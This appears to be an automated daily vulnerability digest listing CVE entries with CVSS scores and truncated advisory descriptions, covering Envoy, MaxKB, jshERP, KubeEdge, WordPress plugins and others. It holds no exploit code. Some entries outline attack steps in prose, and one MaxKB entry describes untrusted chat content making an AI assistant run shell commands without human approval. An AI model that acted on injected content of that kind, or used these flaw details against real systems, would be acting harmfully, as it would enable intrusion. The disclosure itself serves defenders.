

Daily Vulnerability Report - 2026-09-22

Window (UTC): 2026-09-21T06:33 to 2026-09-22T06:33 | Sources: NVD, CISA KEV, EPSS, Vulnrichment, GHSA, OSV | Generated 2026-09-22 06:34:21 UTC

Total	New	Updated	KEV added	KEV	Critical	High	Medium	Unscored	Watchlist
358	318	39	1	1	17	119	128	60	213

New today - published in this report window

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77521	New	10.0	CRIT				MaxKB is an open-source AI assistant for enterprise. Prior to version 2.10.5-lts, assistants with a tool, MCP tool, skill, or sub-application use SandboxShellBackend, which exposes an execute shell tool without excluding it and omits execute from interrupt_on, so human approval is not required. Untrusted chat or ingested content can therefore cause command execution; source ...
CVE-2026-94493	New	10.0	CRIT				A vulnerability was detected in Gigatech PDV5701 1.0.31_240305_112640. This issue affects some unknown processing of the file /index.html of the component WebSocket Service. The manipulation results in missing authentication. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respon...
CVE-2026-79920	New	9.9	CRIT				Ajenti is a Linux & BSD modular server admin panel. Prior to version 2.2.16, any authenticated user can call /api/core/tasks/start to enqueue InstallPlugin, UnInstallPlugin, or UpgradeAll from plugins/plugins/tasks.py without plugin-management authorization. InstallPlugin and UnInstallPlugin construct a pip package specification from unvalidated name and version fields, and ...
CVE-2026-13355	New	9.8	CRIT				The Meta Box AIO plugin for WordPress is vulnerable to Privilege Escalation to Administrator in versions up to, and including, 3.11.0. This is due to a chained flaw: the populate_via_query_string() function in the mb-frontent-submission component unconditionally overrides the form's target object_id from the GET parameter 'rwmb_frontend_field_object_id' without any authoriza...
CVE-2026-19658	New	9.8	CRIT				The Give Tributes plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.3.1 via deserialization of untrusted input . This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme cont...
CVE-2026-82187	New	9.8	CRIT		0.001		The Web to Print Online Designer WordPress plugin before 2.15.0 does not validate the type or extension of uploaded files, and hands the token protecting those uploads to any visitor who asks for it, allowing unauthenticated attackers to upload arbitrary files, including PHP ones, and run code on the server.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85751	New	9.8	CRIT				Mailu is a mail server distributed as a set of Docker images. From Mailu 2.0 until 2024.06.55 and prior to Mailu helm-charts 2.7.3, deployments with PROXY_AUTH_WHITELIST configured but REAL_IP_HEADER unset trusted a client-controlled X-Forwarded-By header for header-based proxy authentication. The proxy_hide_header directive in the nginx template at core/nginx/conf/proxy.con...
CVE-2026-94301	New	9.8	CRIT				The fix for CVE-2026-47065/ZDRES-232 ("resolveProxyClass Not Overridden - acceptMatchers Filter Bypass via java.lang.reflect.Proxy"), released on 2026-06-02 and announced as "Fully addressed" in MINA 2.2.8, 2.1.13 and 2.0.29, was committed to the 2.2.X branch only. The 2.0.X and 2.1.X maintenance branches never received the resolveProxyClass() override, so the 2.0.29 and 2....
CVE-2026-94571	New	9.4	CRIT				In OpenStack Octavia before 18.0.1, the Amphora provider driver did not reject control characters in the L7 policy redirect_url and redirect_prefix fields. The RFC 3986 URL validator percent-encodes control characters before validating, and thus newlines passed structural checks, but Octavia stored and wrote the raw unencoded value directly into the HAProxy configuration gen...
CVE-2026-94572	New	9.4	CRIT				In OpenStack Octavia before 18.0.1, the Amphora provider driver did not validate the listener and pool tls_ciphers field for control characters. The value is written verbatim into the HAProxy configuration generated on the amphora, and thus an authenticated project member who owns a TLS-enabled load balancer can embed a newline and inject arbitrary HAProxy configuration dire...
CVE-2026-58491	New	9.3	CRIT				Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.25.5, the /@warpgate/api/sso/providers/:name/start endpoint stores an attacker-controlled next parameter that the POST /@warpgate/api/sso/return handler inserts without HTML escaping into the response generated by warpgate-protocol-http/src/api/sso_provider_list.rs. A victim who follows a craf...
CVE-2026-61674	New	9.2	CRIT				Fluent Bit is a fast and lightweight logs, metrics, and traces processor for Linux, BSD, macOS, and Windows. From 0.11.0 until 5.0.8, plugins/out_forward/forward.c secure_forward_pong copies the server-controlled PONG[2] reason into the 32-byte stack buffer msg with memcpy without checking its MessagePack type or length. An attacker who controls or can impersonate an out_for...
CVE-2025-12999	New	9.1	CRIT		0.004		UrlUtil.getBaseUrl builds the absolute URLs in a response — download links, icons, asset and API URLs — from the X-Forwarded-Host, X-Forwarded-Proto and X-Forwarded-Prefix request headers, with no check on whether the sender was a trusted proxy, falling back to the client-supplied Host header. ...
CVE-2026-46649	New	9.1	CRIT				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.2, Joplin Server's GET /api/login_with_code/:id endpoint accepts a nine-digit SSO authentication code with a ten-minute lifetime without applying limiterLoginBruteForce. An unauthenticated attacker who targets a user during an active SSO login can make unlim...
CVE-2026-79916	New	9.1	CRIT				MaxKB is an open-source AI assistant for enterprise. Prior to 2.10.5-lts, authenticated workspace members can inject control characters into AWS Bedrock access_key_id and secret_access_key fields that _update_aws_credentials writes to /root/.aws/credentials without safe parsing. An attacker can append a new AWS profile containing credential_process, then select that profile ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86473	New	9.1	CRIT				Apache Airflow: the Core API logout endpoint revokes only a session token presented as the <code>_token</code> cookie. When a client logs out presenting its credential as an Authorization bearer header instead, the endpoint returns its normal logout response but revokes nothing, so the token remains valid until it expires. An attacker who already holds a copy of that token keeps the vict...
CVE-2026-55563	New	8.9	HIGH				Feast is the open source feature store for AI and machine learning. Prior to 0.65.0, <code>.github/workflows/pr_integration_tests.yml</code> uses <code>pull_request_target</code> with the <code>synchronize</code> event and preserves <code>ok-to-test</code> , <code>approved</code> , or <code>lgtn</code> labels across newly pushed commits, allowing a fork contributor to obtain approval for a benign revision and then run changed code from <code>refs/pull/\${{ git...</code>
CVE-2026-88807	New	8.9	HIGH				A heap overflow in libXrender before 0.9.13 in <code>RenderQueryPictFormats</code> could be used by malicious X servers to inject code into attached X clients.
CVE-2026-53940	New	8.8	HIGH				Conda is a system-level binary package and environment manager that runs on major operating systems and platforms. Prior to 26.5.2, <code>parse_entry_point_def</code> in <code>conda/common/path/python.py</code> accepted an unvalidated entry-point command from a <code>noarch:python</code> package's <code>info/link.json</code> metadata. <code>CreatePythonEntryPointAction</code> in <code>conda/core/path_actions.py</code> interpolated that command into <code>ta...</code>
CVE-2026-55159	New	8.8	HIGH				<code>luci-app-adblock-fast</code> a WebUI for fast, lightweight DNS-based ad-blocker for OpenWrt that works with <code>dnsmasq</code> , <code>smartdns</code> , or <code>unbound</code> . Prior to 1.2.4-2, the <code>luci.adblock-fast.setCronEntry</code> RPC method accepts an entry argument containing carriage-return or line-feed characters and serializes it into <code>/etc/crontabs/root</code> as though it were one logical line. An authenticated delegated...
CVE-2026-55897	New	8.8	HIGH				<code>luci-app-advanced-reboot</code> is a LuCI (web interface) application for OpenWrt that provides a way to reboot your router into an alternative firmware partition or perform reboot operations directly from the web UI. Prior to 1.1.2-6, the <code>luci-app-advanced-reboot</code> read ACL in <code>applications/luci-app-advanced-reboot/root/usr/share/rpcd/acl.d/luci-app-advance</code> <code>d-reboot.json</code> grants <code>rpcd...</code>
CVE-2026-62182	New	8.8	HIGH				KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. From 1.21.0 until 1.21.2, 1.22.2, and 1.23.1, <code>ConfigUpdateJob</code> processing in <code>edge/pkg/taskmanager/actions/configupdatejob.go</code> concatenates authenticated user-controlled <code>updateFields</code> values into the <code>keadm</code> <code>config-update</code> command and executes it through a s...
CVE-2026-62371	New	8.8	HIGH				KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. From 1.12.0 until 1.21.2, 1.22.2, and 1.23.1, the <code>v1alpha2 NodeUpgradeJob</code> handler in <code>edge/pkg/taskmanager/actions/nodeupgradejob.go</code> concatenates authenticated user-controlled <code>spec.version</code> and <code>spec.image</code> values into the <code>keadm</code> <code>upgrade</code> edge shell command...
CVE-2026-63116	New	8.8	HIGH				<code>deepstream</code> is a server that allows clients and backend services to sync data, send messages and make rpcs at scale. From 10.1.0 until 10.1.1, <code>src/services/permission/valve/rules-map.ts</code> omits <code>RECORD_ACTION.PATCH_MULTI</code> from <code>RULES_MAP</code> . When an authenticated user sends a <code>PATCH_MULTI</code> record operation while <code>permission.type</code> is <code>config</code> , <code>getRulesForMessage</code> returns a null rule specific...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82412	New	8.8	HIGH				ntopng is a web-based network traffic monitoring application. Prior to 6.7.260717, the vulnerability-scan endpoints scripts/lua/rest/v2/add/host/to_scan.lua and scripts/lua/rest/v2/exec/host/schedule_vulnerability_scan.lua accept the scan_ports parameter without an administrator gate and pass it through validateSingleWord, which permits shell metacharacters. scripts/lua/modu...
CVE-2026-84285	New	8.8	HIGH				An OS Command Injection vulnerability affecting Tuleap Enterprise Edition from 17.3 through 17.5 could allow an attacker to execute arbitrary commands on the server.
CVE-2026-84990	New	8.8	HIGH				ntopng is a web-based network traffic monitoring application. Prior to 6.7.260718, scripts/lua/rest/v2/get/system/configurations/list_available_backups.lua and scripts/lua/rest/v2/get/system/configurations/download_backup.lua allow any authenticated non-admin user to list and download system-configuration backups without an administrator check. The download path reaches back...
CVE-2026-88409	New	8.8	HIGH				FalkorDB (Redis module) v4.20.1 to v4.20.4 was discovered to contain a buffer overflow in the _Decode_GrB_Matrix function (/v19/decode_matrix.c). This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.
CVE-2026-92574	New	8.8	HIGH				A vulnerability in CRI-O checkpoint restore allows a user who can create a pod from a malicious checkpointed container to bypass the destination Kubernetes security context. The restored process may retain credentials, Linux capabilities, no_new_privs, and seccomp state from the checkpoint instead of enforcing the destination configuration. This can allow execution with elev...
CVE-2026-94146	New	8.8	HIGH		0.001		A vulnerability was found in BioStar BIOS Update Utility 1.9.7.3. This issue affects the function sub_110BC of the file BSMEM64_W10.sys of the component IOCTL Handler. The manipulation of the argument PhysicalAddress/Size results in write-what-where condition. Attacking locally is a requirement. The exploit has been made public and could be used. The vendor was contacted ear...
CVE-2026-94403	New	8.8	HIGH				A weakness has been identified in ColorFul iGameCenter 1.0.3.4. This impacts the function sub_140001AF0 in the library ene.sys of the component IOCTL Handler. This manipulation causes untrusted pointer dereference. The attack can only be executed locally. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about thi...
CVE-2026-94411	New	8.8	HIGH				jshERP 3.6 contains a privilege escalation vulnerability in the updateOneValueByKeyIdAndType endpoint that allows authenticated users to grant themselves arbitrary roles. Attackers can send a POST request with type=UserRole, their own user ID, and a role ID list to escalate from low-privilege tenant user to tenant administrator.
CVE-2026-94412	New	8.8	HIGH				jshERP through 3.6 contains an authorization bypass vulnerability in the POST /user/resetPwd endpoint that allows authenticated users to reset any other user's password. Attackers can submit a request with an arbitrary target user ID to reset that account's password to a known default value, enabling unauthorized access to other user accounts including administrators.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94424	New	8.8	HIGH				A vulnerability has been found in Moore Threads MTT S80 Driver Package up to 340.150. Impacted is the function sub_140001000 in the library mtdispkm64.sys of the component IOCTL Handler. The manipulation leads to heap-based buffer overflow. An attack has to be approached locally. The vendor was contacted early about this disclosure but did not respond in any way.
CVE-2026-94425	New	8.8	HIGH				A vulnerability was found in Moore Threads MTT S80 Driver Package 340.150. The affected element is the function sub_140006F0C in the library mtdispkm64.sys of the component IOCTL Handler. The manipulation results in improper privilege management. Attacking locally is a requirement. The vendor was contacted early about this disclosure but did not respond in any way.
CVE-2026-94501	New	8.8	HIGH				jshERP through 3.6 contains an authorization bypass vulnerability in the userBusiness CRUD endpoints that allows authenticated users to create, modify, or delete authorization-relation rows without privilege checks. Attackers can manipulate user-role mappings and access controls to escalate privileges, strip access from other accounts, or modify role-function relationships f...
CVE-2026-16651	New	8.7	HIGH				temporalio/sqlparser can panic when Parse, ParseStrictDDL, or ParseNext processes a MySQL version comment whose contents are empty or consist only of one to five decimal digits. ExtractMysqlComment does not check the -1 result returned by strings.IndexFunc before using it as a slice boundary. The resulting Go runtime panic propagates unless the caller recovers it on the pars...
CVE-2026-61652	New	8.7	HIGH				Zapros, a Python HTTP client, prior to version 0.14.0 is vulnerable to denial of service via memory exhaustion. The issue affects all callers who streamed compressed responses relying on the chunk size — explicit ('iter_bytes(chunk_size=...)') or the default — to bound memory. The decoder ignored that bound, so a chunk could be far larger than requested and a single compress...
CVE-2026-65651	New	8.7	HIGH				temporalio/sqlparser accepts SQL containing deeply nested unary expressions and can return a correspondingly deep abstract syntax tree without enforcing an applicable nesting limit. The library's String and Walk operations recursively traverse that tree. An application that parses attacker-controlled SQL and later formats or walks the returned tree can encounter a runtime-fa...
CVE-2026-65652	New	8.7	HIGH				github.com/temporalio/tchannel-go did not validate the one-byte checksum-type field in inbound TChannel call frames. A network peer that can reach a listener can complete the standard initialization handshake and send a call request with an unsupported checksum type. The parser uses that value as an index into a four-entry checksum pool, causing an unrecovered Go panic on th...
CVE-2026-65653	New	8.7	HIGH				github.com/temporalio/tchannel-go did not reject TChannel call fragments containing checksum metadata but no length-prefixed argument chunks. The fragment reader left its chunk slice empty and then unconditionally selected the first element. A network peer can supply such a malformed call fragment, including as a direct initial call request after completing the standard init...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-65654	New	8.7	HIGH				github.com/temporalio/ringpop-go enforces configured LabelOptions limits when an application changes the local node's labels, but affected versions do not apply those limits to label maps received in SWIM membership changes. A network peer that can reach a live Ringpop TChannel listener can repeatedly submit changes for distinct member addresses containing label keys, values...
CVE-2026-89139	New	8.7	HIGH				Temporal Server compiles a Worker Controller Instance module into its Worker Service, and that module registers a compute provider named subprocess whose function is to launch a worker by running a command on the machine hosting the Worker Service. The program name and the argument vector that provider executes are taken from the compute provider configuration supplied in th...
CVE-2026-94381	New	8.7	HIGH				MISP has a security issue that can let a user gain more access than their API key is supposed to allow. A read-only API key should only let someone view information. However, after logging in with such a key, a specific MISP function could accidentally restore the user's normal account permissions. This means someone with a read-only API key could potentially gain write, de...
CVE-2026-94496	New	8.7	HIGH				jshERP through 3.6 fails to validate caller permissions in role management endpoints, allowing authenticated users to modify any role's data scope or delete roles. Attackers can exploit the /role/update and /role/delete endpoints to escalate privileges, change data visibility to all data, and access all business records in the tenant.
CVE-2025-71421	New	8.6	HIGH				UVdesk core-framework before 1.1.7 contains an improper privilege management vulnerability in the editAgent endpoint that allows agents with agent-management privilege to escalate their own role to administrator. Attackers can submit their own account identifier with a role parameter set to ROLE_ADMIN to gain full administrative control over agents, tickets, and mail configu...
CVE-2026-94383	New	8.6	HIGH				The MISP blacklist workflow module accepted a user-supplied blacklist filename parameter without validating the file extension. The only sanitization applied was basename() to strip path components and a check for empty or dot values. A site administrator could specify a filename with an arbitrary extension that would be placed in the MISP export directory. If the underlying...
CVE-2026-49811	New	8.4	HIGH				Dell Command Monitor (DCM), versions prior to 10.13.2, contain an Incorrect Permission Assignment for Critical Resource vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.
CVE-2026-55071	New	8.4	HIGH				MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters...
CVE-2026-94374	New	8.3	HIGH				MISP contains an insecure direct object reference vulnerability in the processModuleResultsData method of the Event model. When processing module results, the code iterates over EventReport entries supplied in the resolved data and saves each one. Unlike the adjacent attribute and object processing loops, the report loop did not unset the client-supplied 'id' field before ca...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94401	New	8.3	HIGH				MISP has a file-handling vulnerability that could let certain authenticated users make the server read files or access internal network services. When importing an XML file, MISP did not properly verify that the uploaded content was actually XML. Because of this, a user with permission to modify data could upload a file containing a local file path or a web address instead...
CVE-2026-94488	New	8.3	HIGH				Telegram Desktop before 6.9.4 allows XSS in the HTML exporter. (The first fixed stable version is 7.0.1.) This occurs in button.text.toUtf8 in export_output_html.cpp. Exploitation cannot occur unless HTML export was used by a victim. However, the exploit payload can be exported if a message were forwarded into a group by a member (it is not necessary for the message author t...
CVE-2026-94497	New	8.3	HIGH				jshERP through 3.6 fails to validate object ownership in by-id info, update, and delete endpoints across multiple resource types. Authenticated users can read, modify, and delete other users' business objects by submitting direct object identifiers without authorization checks.
CVE-2026-55074	New	8.2	HIGH				Ansible FreeBSD Jail Connection Plugin is an Ansible connection plugin for FreeBSD Jails via jexec. Through version 1.3.0, the jailexec connection plugin's put_file resolved a transfer's destination to a path on the jail host (+) and ran mkdir -p and mv there as root on the host. Those commands follow symbolic links, and the path was operated on outside the jail, so a syml...
CVE-2026-48826	New	8.1	HIGH				HomeBox is a home inventory and organization system. Prior to 0.26.0, HandleWipeInventory in backend/app/api/handlers/v1/v1_ctrl_actions.go authorizes POST /v1/actions/wipe-inventory through the global ctx.User.IsOwner value instead of the caller's role in the active group, while the active group is selected through the X-Tenant request header. Because every self-registered ...
CVE-2026-48975	New	8.1	HIGH				HomeBox is a home inventory and organization system. Prior to 0.26.0, MaintenanceEntryRepository.Update and MaintenanceEntryRepository.Delete in backend/internal/data/repo/repo_maintenance_entry.go use UpdateOneID(id) and DeleteOneID(id) without verifying that the maintenance entry belongs to the authenticated user's active group. An authenticated low-privileged user who kno...
CVE-2026-48976	New	8.1	HIGH				HomeBox is a home inventory and organization system. Prior to 0.26.0, NotifierRepository.Update in backend/internal/data/repo/repo_notifier.go updates a notifier through UpdateOneID(id) without requiring the record's user ID to match the authenticated user. An authenticated user who supplies another tenant's notifier UUID to PUT /v1/notifiers/{id} can read the returned store...
CVE-2026-58269	New	8.1	HIGH				Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, `POST /api/auth/token` authenticates with username and password only, then calls `getTokens()`, which returns full access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker with stolen or phished credentials can bypass ...
CVE-2026-61628	New	8.1	HIGH			go:github.com/lucasdillmann/nginx-ignition	nginx ignition is a user interface for the nginx web server. Prior to version 2.41.1, `POST /api/users/onboarding/finish` is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the "onboarding already completed?" check and the user-creation write, with no atomic...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-62369	New	8.1	HIGH				KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. From 1.16.0 until 1.21.2, 1.22.2, and 1.23.1, the DecompressTarGz function in keadm/cmd/keadm/app/cmd/util/common.go joins archive entry names to the extraction destination without sufficient validation. During keadm join or installation on Windows ed...
CVE-2026-77560	New	8.1	HIGH				Tinyauth is an authentication and authorization server. Prior to 5.1.2, Tinyauth compares forwarded hostnames case-sensitively while reverse proxies route equivalent hostnames case-insensitively, allowing an authenticated low-privilege user to bypass per-app access controls with a differently cased hostname. The lookup in internal/service/access_controls_service.go through l...
CVE-2026-80110	New	8.1	HIGH				A flaw was found in pki-core. The v2 REST ACL filter selects a tie-breaking permission for colliding literal and wildcard ACL keys using lexicographic string comparison rather than specificity, causing a wildcard-mapped permission to override a more specific literal-mapped permission when both match. In the CA's profile-management REST API this allows a request to POST /v2/p...
CVE-2026-83621	New	8.1	HIGH				ntopng is a web-based network traffic monitoring application. Prior to 6.7.260717, POST /lua/rest/v2/edit/system/edit_blacklist.lua in scripts/lua/rest/v2/edit/system/edit_blacklist.lua lacks an administrator check and calls lists_utils.editList for any authenticated user. The list_name, list_enabled, url, and list_update parameters allow a non-admin user to redirect threat...
CVE-2026-94184	New	8.1	HIGH				A stack-based buffer overflow flaw was found in fetchmail when built with NTLM support. A malicious or compromised mail server advertising NTLM authentication can send a crafted Type 2 challenge that causes fetchmail to write past a fixed stack buffer while building the NTLM authenticate response. This may lead to remote code execution depending on stack-frame layout, or to ...
CVE-2026-15801	New	8.0	HIGH		0.003		A vulnerability was found in CRI-O related to the container checkpoint and restore feature. When CRI-O is configured to restore containers from checkpoint archives, insufficient validation of restore metadata may allow a user with sufficient privileges to perform unintended operations on the host filesystem. Successful exploitation requires that container checkpoint and rest...
CVE-2026-65980	New	7.9	HIGH				Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. Prior to 5.2.3, Chartbrew's ClickHouse protocol in server/sources/plugins/clickhouse/clickhouse.protocol.js calls applySqlVariables() from server/sources/shared/sql/sql.variables.js without enabling the escapeBackslash option. For a ClickHouse-backed...
CVE-2026-17052	New	7.8	HIGH				The Time-aware GPIO syscall verification handler z_vrfy_tgpio_pin_read_ts_ec() in drivers/timeaware_gpio/timeaware_gpio_handlers.c validated only the port device object and passed the caller-supplied timestamp and event_count output pointers to the driver without a K_SYSCALL_MEMORY_WRITE() check. The other handlers in the same file (z_vrfy_tgpio_port_get_time(), z_vrfy_tgpio...
CVE-2026-49810	New	7.8	HIGH				Dell Command Powershell Provider (DCPP), versions prior to 2.10.2 contain an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Disclosure.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-55567	New	7.8	HIGH				BleachBit cleans files to free disk space and to maintain privacy. Prior to 6.0.1, privileged Windows cleaning does not lock and validate a target's parent directory before deletion. A local unprivileged user can replace that directory with a Windows junction and use a native symlink to redirect the elevated deletion to an attacker-selected file. The arbitrary privileged fil...
CVE-2026-81469	New	7.8	HIGH				Dell Inventory Collector Client, versions prior to 15.0.0, contain an Unquoted Search Path or Element vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Code execution and Elevation of Privileges
CVE-2026-55105	New	7.7	HIGH				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.6.15 and 3.7.2, packages/renderer/MdToHtml/rules/fountain.ts passes HTML generated by the vendored fountain.js renderer into note output without sanitizing it. A malicious Fountain code block can therefore execute script when Fountain rendering is enabled in d...
CVE-2026-63330	New	7.7	HIGH				Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.25.6, api_get_recording_stream in warpgate-admin/src/api/recordings_detail.rs protects /@warpgate/admin/api/recordings/{uuid}/stream only with session authentication and omits require_admin_permission for AdminPermission::RecordingsView. Any authenticated regular user who identifies an active ...
CVE-2026-76898	New	7.7	HIGH				draw.io is a configurable diagramming and whiteboarding application. Prior to version 30.3.8, src/main/java/com/mxgraph/online/Utils.java checks IPv6 Unique Local Addresses in Utils.sanitizeUrl() by comparing the text prefixes fc00:: and fd00::, but the JDK returns the expanded address form, so the fc00::/7 range, including the AWS metadata range fd00:ec2::/32, is not blocke...
CVE-2026-94540	New	7.7	HIGH				DesktopSMS 1.11.0 by MrPear contains an unauthorized access vulnerability that allows local attackers to transmit SMS, retrieve SMS-derived content, and persist an attacker-selected paired identity by interacting with the application's local service without any pairing confirmation or user interaction. Attackers can exploit the unauthenticated local service through same-devi...
CVE-2026-59814	New	7.6	HIGH				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.7, Joplin Server's GET /shares/:id?resource_id= route serves a resource with the attacker-controlled mime value and omits Content-Disposition when the resource title is empty. A low-privileged user can publish an empty-title image/svg+xml attachment whose sc...
CVE-2026-47321	New	7.5	HIGH		0.003		The CompressionFilter class uses ZLib to deflate and inflate data sent and received. When we inflate incoming data, the filter does not control the resulting size, and create a buffer no matter what. Some compressed data may have a compression ration greater than 1 thousand, leading to an exhaustion of the application memory, as we don't control the deflated size. The f...
CVE-2026-52741	New	7.5	HIGH				GoCD is a continuous deliver server. From 18.3.0 until 26.1.0, GoCD can generate unescaped tracking-tool links from commit comments when a project uses a lenient Tracking Tool regular expression with an ID capturing group, such as JIRA-(-.+). An attacker with commit access to a tracked material can place URI or HTML special characters in a matching commit comment, causing sto...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-61629	New	7.5	HIGH			go:github.com/lucasdillmann/nginx-ignition	nginx ignition is a user interface for the nginx web server. In versions 2.29.0 through 2.40.0, the gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour o...
CVE-2026-71543	New	7.5	HIGH				OpenBao is an open source identity-based secrets management system. Prior to 2.6.0, templated ACL, PKI, and SSH policies could substitute attacker-controlled identity data without rejecting syntax-significant characters. In ACL templated policies, asterisks, plus signs, and slashes could alter path matching. In PKI allowed_uri_sans_template and allowed_domains policies, an a...
CVE-2026-73512	New	7.5	HIGH				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy's HttpDatagramHandler caches the current RequestDecoder when Capsule Protocol is enabled. Stream recreation, including an internal redirect, replaces the ActiveStream and updates EnvoyQuicServerStream but does not update the handler's cac...
CVE-2026-73513	New	7.5	HIGH				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy's optional oghhttp2 upstream HTTP/2 codec accepts a response trailer HEADERS frame without END_STREAM. Envoy completes and deferred-deletes the ActiveRequest while oghhttp2 keeps the stream open, leaving ClientStreamImpl with a dangling res...
CVE-2026-73547	New	7.5	HIGH				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy's ext_authz filter assumes that a request contains a :path pseudoheader when applying query_parameters_to_set or query_parameters_to_remove from an authorization response. A path-less CONNECT request makes request_headers_->Path() return ...
CVE-2026-73548	New	7.5	HIGH				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy forwards data for a configured non-WebSocket HTTP upgrade before the upstream accepts the upgrade. An unauthenticated HTTP/2 client can place a complete HTTP/1.1 request in extended CONNECT data; Envoy downgrades the request, writes the d...
CVE-2026-73550	New	7.5	HIGH				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy copies every decoded HTTP/2 Host header value before discarding it when :authority is already present. The discarded value bypasses saveHeader, so its bytes and count are not charged against request header limits. An unauthenticated clien...
CVE-2026-73552	New	7.5	HIGH				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy HTTP RBAC accepts RFC-valid opaque header bytes but evaluates safe_regex values with RE2's UTF-8 subject semantics. A downstream client can preserve a prohibited marker and add an unrelated obs-text octet, causing RE2::FullMatch to return...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73553	New	7.5	HIGH				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, When ignore_path_parameters_in_path_matching is enabled, Envoy's router strips the semicolon suffix before matching but the RBAC url_path matcher evaluates the raw path. A downstream request such as /admin;x can therefore miss a DENY rule for /...
CVE-2026-88406	New	7.5	HIGH				FalkorDB (Redis module) v4.20.1 to v4.20.4 was discovered to contain a stack overflow in the _ValidateUnion_Clauses function (/ast/ast_validations.c). This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.
CVE-2026-88407	New	7.5	HIGH				An out-of-bounds read in the node_token_count/relation_token_count component of FalkorDB (Redis module) v4.20.1 to v4.20.4 allows attackers to cause a Denial of Service (DoS) via a crafted input.
CVE-2026-88411	New	7.5	HIGH				Improper error handling in the GRAPH.EFFECT component (/effects/effects_apply.c) of FalkorDB (Redis module) v4.20.1 leads to a Denial of Service (DoS) within the application.
CVE-2026-88806	New	7.5	HIGH				A malicious X server could exploit a buffer overflow in libX11 before 1.8.14 during handling of XkbGetMap overflowing the key_sym_map.
CVE-2026-91863	New	7.5	HIGH				A specially crafted WS-Policy document with deeply nested policy elements can bypass Neethi's nesting-depth limit and exhaust the thread stack, crashing the parser (denial of service). Users are recommended to upgrade to version 3.2.4, which fixes this issue.
CVE-2026-91864	New	7.5	HIGH				A specially crafted WS-Policy document can pack unlimited content inside a policy assertion, which Neethi copies into memory without counting it against its size limits, exhausting the heap (denial of service). Users are recommended to upgrade to version 3.2.4, which fixes this issue.
CVE-2026-91865	New	7.5	HIGH				A small WS-Policy document using repeated policy references can force Neethi to re-expand the same references exponentially during normalization, consuming huge amounts of CPU and memory (denial of service). Users are recommended to upgrade to version 3.2.4, which fixes this issue.
CVE-2026-91866	New	7.5	HIGH				A specially crafted pair of WS-Policy documents can force Neethi's policy-intersection to do exponential amounts of work, pinning the CPU for a long time (denial of service). Users are recommended to upgrade to version 3.2.4, which fixes this issue.
CVE-2026-94449	New	7.5	HIGH				A flaw was found in the SmallRye Fault Tolerance library, which is used by Quarkus to provide strategies like retries and circuit breakers for microservices. The issue occurs when using the ApplyGuard or ApplyFaultTolerance annotations, where the library fails to release internal tracking objects after each request. This causes a steady increase in memory usage that eventual...
CVE-2026-94622	New	7.5	HIGH				vLLM versions through 0.29.0 contain a denial of service vulnerability in the NIXL connector's metadata handling for prefill/decode disaggregated deployments. Attackers can send requests with incomplete kv_transfer_params dictionary entries to trigger an uncaught KeyError in EngineCore scheduling, causing the decode engine to terminate and making all routed requests fail unt...

